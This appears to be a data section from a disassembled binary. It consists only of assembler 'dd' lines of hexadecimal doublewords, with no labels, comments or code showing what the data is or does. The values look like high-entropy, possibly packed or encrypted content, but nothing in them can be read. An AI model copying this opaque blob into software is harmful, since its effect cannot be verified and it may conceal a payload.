dd 0ABD5810Dh, 0EE4680CDh, 1CE81010h, 822E1E9Eh, 0E6C6AE1Fh
dd 28209677h, 175878FCh, 0FBA197Bh, 592755A4h, 39A0CF46h
dd 1443FCEEh, 3C00D894h, 0A9C90644h, 82E6349Eh, 59308040h
dd 5E1955D3h, 3051C73Bh, 57C30980h, 0AEF5902h, 8158920Eh
dd 70BF6505h, 380D1007h, 0C0BA611Ch, 8077E998h, 85008ACDh
dd 94B9ACBh, 302D767h, 5662A57Ch, 3001D340h, 2D0A0F84h
dd 0D8837E8Bh, 0FDD74312h, 0DCC2580Fh, 0BB49001Fh, 20A81Ch
dd 0D75CE911h, 0AA963CDBh, 0A2280760h, 706F99Eh, 67E0F3FCh
dd 8F876A1h, 4721AB60h, 350060Eh, 0BFFE4B54h, 0B1583FF4h
dd 517F0374h, 1888B415h, 397675D1h, 0AAA0093Fh, 20FE3A4h
dd 83F6C435h, 4315112h, 63AB5D41h, 0E6938043h, 9CCC001h
dd 0FFD2125h, 3A2A63D3h, 1D7793E0h, 0F900F4A3h, 0DE8E1E2Ch
dd 61178C6h, 751C39DFh, 0EF3A7993h, 64D8006Dh, 0D6F415C4h
dd 0CD8E3CC0h, 3CBB9B1Eh, 6296784h, 0DE4CB0DDh, 4A8A151Dh
dd 5E212B02h, 0CC17615Fh, 0FBA448h, 1831528Dh, 5F402903h
dd 0C5D869C0h, 0D99E25h, 1F0BD5A9h, 0D26902EEh, 7FBE8300h
dd 0E5C56787h, 8B8D00FAh, 0C289610Bh, 79C09B49h, 730316FEh
dd 0F29000A6h, 1E86DF8Eh, 0AB0F7D4Bh, 5ED1534h, 0AC5E9D8Bh
dd 0C2967187h, 7CC462E3h, 0E6720C41h, 32111254h, 930088EEh
dd 0ACA63A4Bh, 0B8A747FCh, 2BAF0EEBh, 22B20879h, 8C6082A0h
dd 0DA03057Fh, 420DC758h, 0B9A351h, 7ED0E1F9h, 16FD7E8h
dd 5F756B07h, 8A30FC74h, 6C6777Dh, 0CF3158D8h, 0AA2AD07Ch
dd 69EA8C7Ah, 62F32F00h, 13FE75BDh, 0FB9300D4h, 2B051940h
dd 4302E2A2h, 71BF89AFh, 0FD4448D6h, 1B94188Dh, 0D314A09Eh
dd 60D989CFh, 5DCFD063h, 0F9E0006Fh, 217D2CA7h, 609F92A4h
dd 540C26h, 0B25799FBh, 0BBE85E83h, 5491BF79h, 12B58400h
dd 0B86F23h, 3CE49DFDh, 0A72A37ACh, 20E4FC50h, 0A8A37A06h
dd 7E79D2FAh, 70D30F1Bh, 0DA606912h, 4D0CAACEh, 0F7D8C700h
dd 14830330h, 60BF29F2h, 1CE400E8h, 0F455C0Dh, 0BCBAEE07h
dd 0AEE3F235h, 6D54E0A0h, 0A9530073h, 8ED1B480h, 50FBB112h
dd 64FBF4C8h, 56958D13h, 21910D0h, 5A6B6F3Fh, 59879A00h
dd 8100505Ah, 63B4BE4Bh, 2510C66h, 0B58F6991h, 0C48CB74h
dd 0C2002FE2h, 61613ADh, 300DBE1Eh, 96296539h, 81001D70h
dd 638EA580h, 0CEBFB015h, 77A4A7F9h, 503C975Ch, 3B7ED34Ah
dd 15EE240Dh, 0F44019A5h, 2282B6h, 6F9E7990h, 8C682F0Ch
dd 7EE44Ch, 0CEFCF592h, 0B9CAB1h, 80BB0D95h, 89AD7229h
dd 7AB33Ah, 0A9B43B36h, 33D1EF8h, 5177D8Bh, 91A380F3h
dd 423F2100h, 7BEAE15Dh, 85190408h, 0C0ACC9D8h, 9895EB4Eh
dd 29419D05h, 898027DCh, 150AA20h, 34C77E5Eh, 82B2CC0Dh
dd 608D9448h, 7015607Ah, 307E0E77h, 378D76DDh, 7ABF4021h
dd 78008F02h, 556C654h, 63720857h, 7C215011h, 84732879h
dd 786E7037h, 6C0BA98Dh, 309DA384h, 2EF8E4h, 641683C2h
dd 0F2187E80h, 0F9601150h, 7A8C048Ch, 385018EDh, 7A5204F3h
dd 0C7EB716Fh, 0B31A5156h, 6A918081h, 1CE0FA4Ah, 6EFE00C9h
dd 312C3343h, 0E70E4BEFh, 0E098709Ah, 18AA1B06h, 2203094h
dd 0FDB487E0h, 0B3262C00h, 2E32B864h, 0ABED007Bh, 90D4920Eh
dd 0EBEAC46Eh, 0D3B23504h, 0CCC09619h, 4D8EDFh, 548BE21Ah
dd 7EA82C5Dh, 2ECFE00h, 0D3863877h, 5FE8A0h, 9C5C064Eh
dd 0E4455672h, 0FC441700h, 8E585332h, 2D3A1C3Ch, 0DC4F4011h
dd 0B8FD64D9h, 6FBE7F00h, 0DA4C1ED2h, 0CCD007EDh, 0F058969Eh
dd 2A95E69Fh, 0E0556700h, 0C5B98F56h, 0F59A0E39h, 12D64Fh
dd 0BE57091h, 700E6F3h
dd 1DB29C46h, 887D27h, 5883B47Fh, 905D3FE0h, 8460AFE8h
dd 35CC0E24h, 199F0C22h, 7E0821ADh, 0B0E621C0h, 7F3EF0Eh
dd 959DA796h, 26809F70h, 9D4BE91h, 0FB3ADB00h, 0E3DA35EAh
dd 0F631004Bh, 2497AA2Ch, 0BD147FCDh, 1DB4DE98h, 0E40E82DDh
dd 0A13A40AFh, 0C8ABEB7h, 6299FEF4h, 21C4D208h, 51074945h
dd 7D4C51E7h, 7F488091h, 0E4D08CF9h, 0FAB4302Dh, 12300288h
dd 0B95E7E00h, 723F1952h, 62E30383h, 0C6ABD3D4h, 0F558C867h
dd 0CCEB7641h, 95CF1180h, 40189897h, 33634273h, 0F857709h
dd 9794EF20h, 0D47EC9E0h, 7B739E36h, 0D7CCAA13h, 60FA481Dh
dd 431983B1h, 0CA2D1FEDh, 0FC760080h, 90551EDFh, 0B50A70FCh
dd 0C08D7451h, 615CDD88h, 20CE0E96h, 0C0A6B133h, 50F344h
dd 0D9760EAEh, 97B7DD7h, 80A43528h, 512ACE0Ch, 0FAAD29AAh
dd 82FA0088h, 5DC1B6A2h, 0DD0F5797h, 22ACD2Fh, 84952DA1h
dd 3E639FC4h, 6ABEEBE8h, 0C10F743h, 7DD90027h, 8982B9A0h
dd 592E66Bh, 3D37C4FCh, 0F1F00545h, 682C1B99h, 7BD440DDh
dd 168BE866h, 0F9778603h, 0E9FADE6Ah, 3E301E53h, 3FCF00F3h
dd 50495A67h, 0E400A076h, 4F5FA2D1h, 0F6909A0Dh, 0FDD29A1h
dd 405A7F04h, 1AB744Bh, 8FD839EFh, 8F8BF588h, 0CE02920h
dd 1CC7280Ch, 8095A0E3h, 731BEB24h, 0D700E90Fh, 609CC8F7h
dd 237ED13h, 55CB76EFh, 0A86348A1h, 2E706900h, 0DB8AC47h
dd 0D1081A51h, 0B88C0815h, 5A00A320h, 29970B44h, 10CECBABh
dd 9C647599h, 629073C3h, 6B510317h, 6ADE3007h, 7EF44AA0h
dd 8825900h, 0D6FA8FFCh, 0E02B3EB6h, 0E9A41818h, 4B00BD81h
dd 0E8CE3C85h, 0C63154F3h, 20E01808h, 4B45CC00h, 609310F2h
dd 0B079C075h, 6D1FAD09h, 0F85011C0h, 5413B02h, 6B0A6313h
dd 99A42020h, 0D7612F1Fh, 930C151h, 7F4AE0h, 27B15C65h
dd 0FFF039EEh, 566B5D0Ah, 7D80AC75h, 2D301881h, 0F7A50A2Ch
dd 1D7C847Fh, 0AB978085h, 57FC93A2h, 0D435B100h, 5A76A927h
dd 0CFFD07D9h, 70016316h, 0C1FA1790h, 1C8DF80Ch, 6119A01Bh
dd 5659911Fh, 0C3EE6014h, 16576F01h, 974C924Eh, 81DCDC4Ch
dd 859182Dh, 15B91D44h, 0E2149C6h, 0E8447190h, 0A35FB260h
dd 0E50028A9h, 8012637Bh, 11734Fh, 5E270329h, 385AA490h
dd 0D0A12000h, 68B554D5h, 0AC2400F8h, 0DC0C4E77h, 1B005B46h
dd 21E63614h, 549C6AA1h, 499A9471h, 0FC00580Ah, 57A6F92Eh
dd 0E6009E03h, 767E1DB1h, 0E60C04D4h, 640D4869h, 0F316033h
dd 19AD9D90h, 5C11DC60h, 1896FDC5h, 618EE052h, 320C5AC9h
dd 2A87CE28h, 101F0094h, 0B9FC40B6h, 3BE88208h, 85A5D70Ch
dd 28B4963h, 6B3CF569h, 9A23540Ah, 1C7900E2h, 59F17B82h
dd 670081FFh, 1E6190FAh, 0E714796h, 7327DE2Dh, 38643592h
dd 0F912906Ch, 34408A19h, 221EEEBh, 915C19B9h, 512F2979h
dd 532E19CCh, 0B5B010F8h, 4F7EC28Dh, 8C5F3Eh, 0F16FA68Ah
dd 50546B0Ch, 88E65890h, 0B00D397h, 49CF1C3Ah, 2429C2F4h
dd 0C943640h, 0B73179DCh, 2A9DC607h, 0BF70CA25h, 0F88EF464h
dd 1C934Bh, 0B9F3472Fh, 0F8915645h, 44678260h, 0DFB328F2h
dd 7FE9EE2Ch, 7F520038h, 0F230B86h, 344C449Dh, 0D1E8504Ch
dd 4A021F43h, 463C7E4Bh, 0E3101E31h, 62004B12h, 0CF3F8190h
dd 0C64217Ch, 1F52E2Fh, 0BECD0F1h, 99081891h, 2AE380E5h
dd 58463210h, 73A52D00h, 403C27D5h, 0A9F1031Ah, 8AAF5C66h
dd 0B6BC981Dh, 5F81FC40h, 3132A00Ah, 1E49E7DFh, 0C0832EBh
dd 190898B9h, 6F140F1Dh, 276D1FEDh, 5351CD21h, 2AE0B684h
dd 401F4266h, 0B4454E35h, 64C06074h, 0D8A741h, 15C077DCh
dd 7D2B2D12h, 0ADE5AA02h, 0A02EAEA4h, 2F66B0B4h, 0B8B35484h
dd 5BF800FCh, 2E833EB6h, 47EED91Eh, 0ED9E771Dh, 0CA178F07h
dd 0E919E571h, 7A859183h, 0ADEA6AA3h, 89269640h, 803B0903h
dd 0B0B1F38Dh, 196AAFDDh, 0B81004B3h, 982EE012h, 33797F03h
dd 0CE2174B5h, 1380081h, 4DDE5C2Ah, 88505A65h, 18431AE8h
dd 7F884B38h, 0CCC4BE3Ch, 4B13E241h, 0F4A4F4DDh, 8FE46304h
dd 38946062h, 0D3748Ch, 7A542E2h, 1476B923h, 474C8190h
dd 6891314h, 9821740Fh, 58BB99h, 752BE485h, 0C5ABBF4Eh
dd 4FA82800h, 0D1487778h, 62A10501h, 136A735Ch, 232C3AF8h
dd 0D6421D15h, 0AB1440ADh, 73777B78h, 8011AA3Fh, 17BDDD1Fh
dd 0C04286B2h, 0B170AFD1h, 9F3C6E73h, 0F5200563h, 3C201DDFh
dd 237A4B1Eh, 1911263Ch, 1A81728h, 6BA3A074h, 2080B88Eh
dd 0B1032014h, 7A8DF1ABh, 6CC0DCA9h, 11D73AE8h, 950648Fh
dd 21F8E028h, 6A199994h, 15C09854h, 64F313h, 0B4BF263Fh
dd 5C45A1F5h, 0DD6A9312h, 4AFA4C03h, 50490019h, 4036B5B4h
dd 509042CFh, 6021B924h, 0F4035513h, 14AF1F8h, 0A11AE998h
dd 2478E02Ch, 0E8005984h, 0B863FFC3h, 0FBF335h, 0D7A4780h
dd 11C12186h, 342E1F28h, 8B01BE7Fh, 0C7F8EB3h, 4C22A9BDh
dd 0A7F53C76h, 1306F8B8h, 8C88286h, 36698160h, 4CF6A71Dh
dd 8E80DC94h, 3AE9413Dh, 0C5A6D900h, 0F59C25Eh, 1FA7593h
dd 58C08115h, 0D4B0E99Fh, 9CA69D8Eh, 91A96Fh, 80D5812Fh
dd 39E80527h, 1D05346h, 9A7A6714h, 12860E5h, 985C1F0Ch
dd 0C173B002h, 3328EC0h, 48E462A0h, 0CF840074h, 9D76B540h
dd 0F1C632C5h, 0E2827358h, 0FC83D458h, 0A08071B7h, 39C011D0h
dd 26B62E73h, 39567848h, 0CC30A2B7h, 57F60F49h, 26C5148h
dd 8C4C7C5Bh, 0F5189171h, 0F8BBA0F7h, 9A51821h, 437BC051h
dd 9081E200h, 0F430FF68h, 0B03C0E2Dh, 0BFE02365h, 0ECB39B7Dh
dd 0EE711E00h, 1DC46376h, 697377h, 1ADEDC61h, 6D9D7A3Ch
dd 80BD2736h, 19E822B9h, 7A1D8E05h, 9C084AB7h, 0D8BDB851h
dd 0FCCBCA14h, 0CDDEF883h, 0D437CC0h, 5244A498h, 2BC1F85h
dd 798FC0B5h, 7B094E05h, 0F53B3400h, 7F97E531h, 57212C6Ah
dd 5A0550DCh, 0D0473900h, 0D64F0844h, 0DFB0008Eh, 0FC9D555Fh
dd 40A0185Eh, 0B52CCCA0h, 8012D0B7h, 41B09420h, 0E87D00E4h
dd 749FD35Dh, 0F7EAFB22h, 9F5C30Bh, 55D41118h, 2B3D0h
dd 6F5837F8h, 93EF63AAh, 1318391Eh, 811E82C0h, 0CF836210h
dd 0E282EA8h, 0EC2204BDh, 0B4C886FFh, 0B45F1FADh, 0C4EF80B9h
dd 65252ECFh, 0ABD0D400h, 289F8182h, 324F0E93h, 0F6E3FF58h
dd 0ADE0276Bh, 0B7009766h, 745CF764h, 19145128h, 0A9ECEA1Fh
dd 7D9822A9h, 32039973h, 12A2BADAh, 2A88886Dh, 0BCEC0089h
dd 0F7CB7D0Bh, 0A100801Bh, 0B176B28Fh, 0B8484E97h, 0E8C07CF4h
dd 7CF700B0h, 81D74A8Bh, 0A70540Fh, 0B6B0D0Ch, 182696Dh
dd 0ABD8232Ah, 80EA18CDh, 0B5589A89h, 25759E83h, 8A43967h
dd 9ABC8854h, 9E1A811Ch, 1C368E00h, 6412F1h, 0A6979406h
dd 277402F8h, 52B2E1Dh, 1AD6ACC0h, 0B0DE47B2h, 0ED6600E9h
dd 38CE4932h, 10F41F0Eh, 3DD5B400h, 22D1BB0Bh, 61B300B2h
dd 0B966D06Dh, 5D007FD3h, 25DE5208h, 0DCDB99h, 8347A9CEh
dd 8A6DE4DFh, 67A6E18h, 944B19h, 4EA05F9Ch, 8F18952Ch
dd 0C3572D00h, 309B6946h, 0E547DECh, 12B0C783h, 0A0794220h
dd 2030BC57h, 9CEA85Ch, 0CB593423h, 1E0FFB68h, 0A302E066h
dd 0D5DF3h, 7CF1BE2h, 8F41EA2Bh, 0CB6248C0h, 257996h, 74D8D7BBh
dd 0EE7D2E20h, 1E1A444h, 2FB77E86h, 80D95491h, 88555BB0h
dd 0E62CAB84h
dd 1C91894h, 0D91D2005h, 654ECA00h, 445AA8FEh, 5D48C2CFh
dd 79E05711h, 63014394h, 105C9E71h, 47F848F4h, 5758C341h
dd 790CD1C2h, 710A7797h, 31040002h, 6A5CD075h, 7D03ECADh
dd 0E1531840h, 0FCBC8CEh, 3CDC00CFh, 61F9B293h, 6E00A7A6h
dd 0E2576B46h, 281520h, 74549E96h, 0D0EE8A59h, 8999DF00h
dd 1D821043h, 15930B02h, 0D2800419h, 7E986C9Eh, 0DC458400h
dd 50ECDF5Bh, 43933AC7h, 46952D00h, 635FE6DDh, 0BC79053Ah
dd 0E1120047h, 115AA668h, 0F858242Dh, 9F500783h, 0DBA072E0h
dd 634BADE0h, 0B600C4B8h, 0D6FCCCD4h, 0C75412ABh, 4FD1ED50h
dd 1142E046h, 9B27A700h, 0BEA2380Eh, 72C31D91h, 21CA18BAh
dd 9B007F05h, 2E2134DFh, 38984C4Ah, 0A898A91Ah, 8DD70D8h
dd 606058EAh, 0C0DAAB81h, 0E732305Bh, 0F0127D10h, 131E8A03h
dd 0AE56438Dh, 0D6393008h, 0F0EB4C20h, 599ACA01h, 445261BBh
dd 81BD96FDh, 4723010Ah, 0FE2700CAh, 0F9FC26A6h, 77243806h
dd 729434Ah, 0AC06D88h, 309C4054h, 84029314h, 5E2FDF9Dh
dd 0EEA8A0C7h, 7094C86h, 3DBC2216h, 0EC004B25h, 0DA63C2BBh
dd 440590C3h, 0A2D81EEBh, 0F40740BFh, 0F539BDE4h, 4836AC0Eh
dd 0A0E840D6h, 6031BCEAh, 1782E90Ch, 346058BEh, 0F542A911h
dd 1F94E8C3h, 538993Fh, 60A023h, 5B0F28F4h, 0B40106D1h
dd 33436AA6h, 0A983AF5Eh, 11CC884Dh, 0DA498FB8h, 8BF4E33h
dd 217B98h, 0F05CCC8Dh, 0AD30677h, 0E3AC2D02h, 4040562Ch
dd 9F8028h, 424693B8h, 26841241h, 8C749h, 1C5696CAh, 302B2CC3h
dd 1EB0DECBh, 60FA375Ah, 244C4000h, 0FCB008D2h, 579C01C1h
dd 85958C8Bh, 0EB2081A6h, 0C0E638B3h, 6D08204Fh, 0C6AB322h
dd 0D87FD11h, 1B1EC2F0h, 0C4506231h, 0F0E61Dh, 5AA7DF09h
dd 4531C775h, 33CE8300h, 0C229C65Fh, 64E20019h, 0DDD893BEh
dd 6C91E113h, 8B9BA081h, 0CE18CA38h, 9B78D08Bh, 0F0020371h
dd 0A5965420h, 0ABFC1840h, 942C4548h, 6A161024h, 3050AC39h
dd 0DC303AC7h, 2C1B145Ch, 7FE038D3h, 0A70934C1h, 2148C3BBh
dd 92BE5070h, 974EDC53h, 0B7197490h, 8051149Ah, 693C9854h
dd 0B9AB9381h, 229EDB86h, 0E3EC0004h, 0AE74F8Ch, 2FA800CAh
dd 72600524h, 0C40A0EFDh, 80910411h, 6018E547h, 38BD9AEEh
dd 91BA5A21h, 260070CCh, 80B84A9Bh, 5458DED8h, 0EBCC28h
dd 8C3E7215h, 0A9962B43h, 8CE8F52Ah, 0EB004843h, 2FA68C56h
dd 80A8B59Fh, 1C494367h, 3B549464h, 6493FD04h, 7031A218h
dd 1CC7452h, 0E309468Eh, 240557EDh, 0C600DD00h, 0C1B58255h
dd 3329DF70h, 0D4085256h, 79262100h, 0C11DF982h, 5B51180Fh
dd 960D79C5h, 0D14B6Fh, 0B73148CCh, 331924F5h, 87668018h
dd 0BB24BADh, 0EC486250h, 81722F0Fh, 400962F6h, 43A1C0FAh
dd 0E73000E8h, 0B6AEC422h, 7B006EA4h, 7C2FA5B1h, 7B71C68Ah
dd 95C90AFDh, 14A89F82h, 0F2BDC8DDh, 75F30h, 1408079h
dd 2BE4D0D1h, 7B082891h, 770506DAh, 2700B0EEh, 8A31DC8Dh
dd 1812D18h, 4B54BFB9h, 26794EFFh, 5B850A30h, 0A79F8829h
dd 48B94F80h, 14D9458Bh, 54F111A0h, 19876507h, 91C8CA98h
dd 825B8055h, 8CA0C1B7h, 0ECD144h, 75198263h, 854F8B01h
dd 5881C12Ah, 0BAD2A00h, 0D4A902Dh, 806C0BFDh, 9B001637h
dd 6B1BA066h, 20264324h, 12CC8BC1h, 0A11857DDh, 2508E88h
dd 844CADCCh, 8C405F6Eh, 0FA2CC19Bh, 131D24C4h, 4783AA02h
dd 0E8DEC3F2h, 0ED82FB9h, 0DAFE80FCh, 38290F56h, 7E323E40h
dd 9700E1C2h, 496A910Eh, 30144C44h, 45587435h, 94902F37h
dd 3AF38001h, 52EDE196h, 82FC9059h, 8CC174C4h, 0CFCE44h
dd 3C4682C0h, 203D3644h, 6058673Fh, 8330E041h, 0C98E007Bh
dd 9C376DB1h, 0C41F2A23h, 134416F4h, 0C8838B39h, 0CC5100D9h
dd 1456D1FBh, 44A48CEEh, 0AA825A04h, 0BF6268C1h, 82621920h
dd 6C4035Bh, 49DE6505h, 20AC5DC0h, 18696CA1h, 0AB820857h
dd 35CFC0C1h, 0FC1828ECh, 0EC3C5359h, 11924227h, 8A95725h
dd 2321BA20h, 0E42D81B3h, 86C4ED48h, 8C895878h, 0E0BD01B8h
dd 0A8190849h, 1C697094h, 80D0E96Fh, 8DDF46CEh, 11890B0h
dd 8F1211C2h, 31D993ECh, 25A4DC79h, 3D02BC78h, 97DB9AC0h
dd 45988085h, 1EE177Dh, 6113E3D1h, 0F0D5DD94h, 0B631BF46h
dd 25E50C5h, 14D3A434h, 90B5B27Ch, 0CE27807h, 0EE22A0F4h
dd 0C0604D75h, 7D599B18h, 43833E68h, 5A1FD003h, 0F100A92Bh
dd 0C9A30A7Ch, 91826FCh, 0FD12B4AEh, 75BFE283h, 9BB71809h
dd 0ED9825D0h, 3A5F0430h, 48110702h, 51BE2505h, 8FBA40ADh
dd 82424CD8h, 4068137Ch, 3F18A580h, 2D1638B9h, 0C288036Ch
dd 313EB381h, 3C8E0017h, 0DEDBDD8Ah, 24FE660h, 9B446CCh
dd 0C841C675h, 5D28504Ah, 19C97695h, 0AE6C07EBh, 92BD0548h
dd 0A554015Bh, 4C437EACh, 0B4036960h, 4C3A706Ah, 3BA8103Eh
dd 99B0D67h, 90005910h, 1D556502h, 337C043h, 7859B48Dh
dd 0FFF52105h, 7C27F7D6h, 84ABD85h, 0CC3D3CE9h, 414E1967h
dd 5CF83B18h, 1184A869h, 0C81330E8h, 461A1640h, 55AD7C14h
dd 40C12348h, 6E50933Ah, 471748DDh, 385B9C0Ch, 6F9F0051h
dd 427F0C07h, 0DB18558Ah, 3D81121Ah, 30B0E84Dh, 78315C2Fh
dd 0A30137C3h, 4594FFB4h, 0A18A600Ah, 0E1C8790h, 0EB00A9EAh
dd 3351B499h, 0CE0CCCA4h, 11802A0Ch, 7B889812h, 96C31EC1h
dd 0C82025A8h, 17AC0CA1h, 0DBD6E71Eh, 61230302h, 0CC8F43h
dd 2D504278h, 0D11C00Ah, 0F1A637D0h, 0C351FF00h, 5A0C7CB0h
dd 0DC69D07Dh, 58B810h, 0E94796A5h, 523595B4h, 0D606A084h
dd 58869DE6h, 0F0CCA59h, 66635B0Eh, 0F21097BAh, 80A1C0B8h
dd 0EF77AB05h, 5C01D5Ch, 6B370B3Ah, 0CA108400h, 0F828F1h
dd 98A5FEFCh, 598AC074h, 50804504h, 3492515Ah, 0D40BE4Eh
dd 47B9BA25h, 0B0400C68h, 0DEF743Ch, 1EF4EE5Bh, 1E8C07F0h
dd 13E1C942h, 0AB9C4366h, 392AB912h, 0D49854C0h, 0A9BCF754h
dd 4CD5DC88h, 0B4305015h, 2F9ABD41h, 6C09BB72h, 29077C41h
dd 31002ACh, 55F91096h, 1ADF0CA0h, 42046144h, 1BB7115Ch
dd 10521408h, 0B4C38800h, 4C119B31h, 0C4C5CC8h, 56015023h
dd 88C0EE82h, 21C0C818h, 0BD825E15h, 3FB50798h, 0B2AC228Eh
dd 80A076FEh, 0EB61A173h, 0FFF930F3h, 0B7017578h, 3E481D86h
dd 0C0349E93h, 90319047h, 644085CCh, 0F52360CEh, 0DE3605E3h
dd 4390E104h, 4A87D7A8h, 0C14BFC0h, 35BC000h, 0FAB460C5h
dd 0C18B2C58h, 8CF4942Ch, 5690BD31h, 74FF31FDh, 830FDB2Ch
dd 0C9C66ACCh, 0C4ACC5D8h, 0F70A60C1h, 48430004h, 4E40662Ch
dd 914A5FCh, 9E09334h, 0C0EF15EEh, 3E0B6E4h, 0C379E848h
dd 84C58B1Fh, 1E2CC1FCh, 28F8009Ah, 439FE5Ah, 0CABC31F9h
dd 0DAEB80CBh, 0FB0087E9h, 8BBD9B5Eh, 0F81BD288h, 82832C96h
dd 3321003Bh, 89C9CD4Ch, 11FD6500h, 0D8CE495Dh, 0EB41876h
dd 8F19887h, 0E186CA00h, 0FD8C15B3h, 0B25E1CEEh, 4C12426Ch
dd 47E128DBh, 0F438D45Dh, 0D23EB4EEh, 0E82006Fh, 0D7505CA7h
dd 0E8043A67h, 65F1000h, 556C31DDh, 7314CB06h, 6008936Bh
dd 0A42B21DEh, 0F9390231h, 992280F6h, 0B63DCB53h, 384403D2h
dd 0AB69D4E8h, 606058D3h, 0B3C29320h, 0E640C0D2h, 0F85D32D7h
dd 5CF12F18h, 1C373010h, 36FDDA7h, 0A457D40Ch, 5E9C0818h
dd 6E9A20h
dd 11E714A7h, 0FFF5D61h, 57DFA900h, 0AAD90CF9h, 30D05001h
dd 3C7000CFh, 8FAE8B79h, 4B01D873h, 0B8D2B172h, 5BC05ACEh
dd 0B5CF7F2Bh, 0D660F370h, 32B83739h, 48C0183h, 0B454E751h
dd 0A6E5D050h, 0EAA988C0h, 58795F2Dh, 0FA00B7F0h, 5B0937C4h
dd 0E80C87F4h, 0B07148A2h, 0F93F0B10h, 10006716h, 2AF3DA33h
dd 0E0F708C6h, 2E9D0020h, 6EED4616h, 3B14BB50h, 68CD2D3h
dd 604B6391h, 1C6900B0h, 0D5E786B0h, 7700FEF4h, 4E95B5DCh
dd 1FF05644h, 0C0C0051Fh, 3E3B5B2Eh, 2003512h, 6E62A3C4h
dd 18E58EB4h, 8C571DD7h, 1700795Ch, 9EA83EA6h, 215112h
dd 0D3949EFh, 67BCA35Bh, 95847B0Fh, 11AC00F3h, 7D5759h
dd 3B64D589h, 5ADA8F66h, 35F838h, 7C72D473h, 75D7D14h
dd 0FA1F2058h, 6E66E0E2h, 28C45BE6h, 2A446F84h, 1443427Bh
dd 0F22302E3h, 28042825h, 974A06B4h, 0F1BE0814h, 0BC708C88h
dd 1B220222h, 10564205h, 840055B0h, 61CFA579h, 6576EA64h
dd 7A0E8801h, 4D874F89h, 273CE8h, 1BF376E6h, 0B8425A73h
dd 0D93A351Eh, 1DF4B3D4h, 2000DDF8h, 57C5E770h, 0F5390373h
dd 98E45229h, 2F3CE2A0h, 80F80B3Ah, 4BA5C6EAh, 0D79349h
dd 4A7D66C5h, 2D6CAA44h, 0AE1DA00Ch, 0CF2869h, 0AD12D3A1h
dd 0CDA5A933h, 2F00E775h, 0B91E6083h, 0EC8E118h, 866A3ABFh
dd 0DF8C7080h, 96005FE5h, 1551C197h, 0D92E55h, 1A05061h
dd 3B03B6Fh, 0AC98B4EAh, 5A05A700h, 62AF9DE8h, 2F6F0738h
dd 405FB38Ch, 3EDE6D4Ch, 99F011E6h, 861D9000h, 5D1E6509h
dd 17B6001Fh, 3627BEBAh, 0FA005AA4h, 0E3330551h, 153664Dh
dd 192D44C3h, 0EC0AA277h, 2A00478Fh, 4C3F687Ch, 7E06A3h
dd 9570CA6Eh, 8FD3A807h, 4B202D00h, 68289FAEh, 626E00EEh
dd 0B05CE206h, 0EC003D43h, 0C9E109AFh, 0FA940EC7h, 0EC3873F0h
dd 31D30F66h, 7DC02479h, 4937F60Ch, 7BC53C00h, 0DFE48A72h
dd 12310094h, 50DC6D65h, 0C4002BC6h, 0D3A22A3Ah, 3064C7DBh
dd 77A0873Fh, 0D77B278h, 8BC9EC00h, 0A49A2256h, 479C07FEh
dd 0F0E0C4C3h, 0C8A16967h, 2F897801h, 1EF1FF5Fh, 772821C8h
dd 52BE00ACh, 0F7A31D72h, 0D0F854Ah, 114B0Bh, 93CC0788h
dd 22E4008Dh, 383D16CDh, 0B30042E6h, 51B26D47h, 24B5433Ch
dd 80DC14ACh, 5CA33A0Dh, 5812FB27h, 0F2180F35h, 13D3290h
dd 526F5DDDh, 61931745h, 60950351h, 0D2A50B8h, 47630F07h
dd 4B909E20h, 0F27D10h, 6F08A1B8h, 2494F081h, 4D9D1200h
dd 614B7EEFh, 6419586Dh, 6E1FAB05h, 89D00C57h, 9D72277Ah
dd 0F4963Fh, 32A352FEh, 0E622A8h, 0C765B4AFh, 0E5271EA0h
dd 8E462C12h, 1832614h, 0CA6901A3h, 0FDC17D8Bh, 0F461D2DCh
dd 369D6067h, 0D4A7B339h, 128E758h, 6044120Bh, 7830803Fh
dd 956B39BAh, 6E575C80h, 3D232699h, 369B4E00h, 5D87A3E7h
dd 80FA0FEDh, 57E0BC5Ah, 13399882h, 0D3380D00h, 0FA89E562h
dd 12C70AFCh, 0AC72B4h, 131BB31Dh, 4100447Fh, 6B2BCBB0h
dd 0CC3754h, 0E9FCADC2h, 0BFC4CD62h, 3D3F0C00h, 5DE52DF3h
dd 0F1BD00D3h, 0DC3C16D2h, 57000468h, 8644FA1Ah, 0BFB4A3h
dd 988587B1h, 19E8C66Fh, 0BBE63000h, 65320B7Dh, 5EE90309h
dd 3D8E76F2h, 5DFAF1B8h, 1700A579h, 0B22D8092h, 1F2AF893h
dd 83E737B6h, 0DCEBCF3Bh, 0F7F9BEF0h, 0AA1CFB01h, 49B2A9FEh
dd 7E3BFC0h, 5A9F28D4h, 9D68E022h, 0E590C691h, 0E1703D02h
dd 48308419h, 91A95728h, 0DCC70FB4h, 5665875Ch, 4452058h
dd 27001908h, 732F0A74h, 0F80F80h, 0E2DE3E59h, 8CD95C6Dh
dd 310C497Ch, 29480578h, 0F0AE01D8h, 64D1C29Dh, 511FE498h
dd 7EC0A903h, 0D004B348h, 13D3ABh, 65086F62h, 660FEADDh
dd 0E31B9400h, 4095BB37h, 0D97EE0h, 0F13ED73Bh, 50B5928Ch
dd 0CCAB24h, 0F7A23A00h, 2E9C7E8h, 0C651AD0Eh, 98C0243Fh
dd 6000704Ah, 5D802AD1h, 9F11Dh, 93124F61h, 0B032EFDCh
dd 410094E6h, 23FCD74Eh, 0C04A2F57h, 0D093B46Eh, 5C008DAEh
dd 9BF3E91Ch, 3A3E510h, 0EDB1682Bh, 9CD83A5Eh, 3700B941h
dd 1419553Eh, 0FB8451h, 5A8A13F7h, 0F920B2DAh, 0A80BD400h
dd 6289212Eh, 3DC00094h, 0F0FDBA1Dh, 0D700C29Ch, 6FCDAFEFh
dd 74068EDh, 5A940C39h, 8098F97Ch, 2374DE08h, 0FE8C52C0h
dd 7D1F0B1h, 0C31E3006h, 3FAE30D4h, 0FA013E70h, 0C04DA940h
dd 6BCC0162h, 0EF46022Dh, 19371BCCh, 3628BA40h, 487F4E00h
dd 659BB196h, 15AD070Ch, 407D41B7h, 491D5AAFh, 6EDAC102h
dd 0E0FACB9Dh, 0EE0D4063h, 0D6D6E8B5h, 493A1418h, 182FCB0Fh
dd 81F26720h, 5C001022h, 0A1958E6Fh, 7CFED9Ah, 88BBF66Ch
dd 68E86043h, 0D07C4ACh, 0F831BF4Ch, 892C2440h, 8A1C0F9Ch
dd 0ECC0E372h, 6A794ED7h, 27205704h, 0DCC2F87Ah, 13984442h
dd 0DC733Fh, 16C6B484h, 4398F0D9h, 0EF57A700h, 0E9074A09h
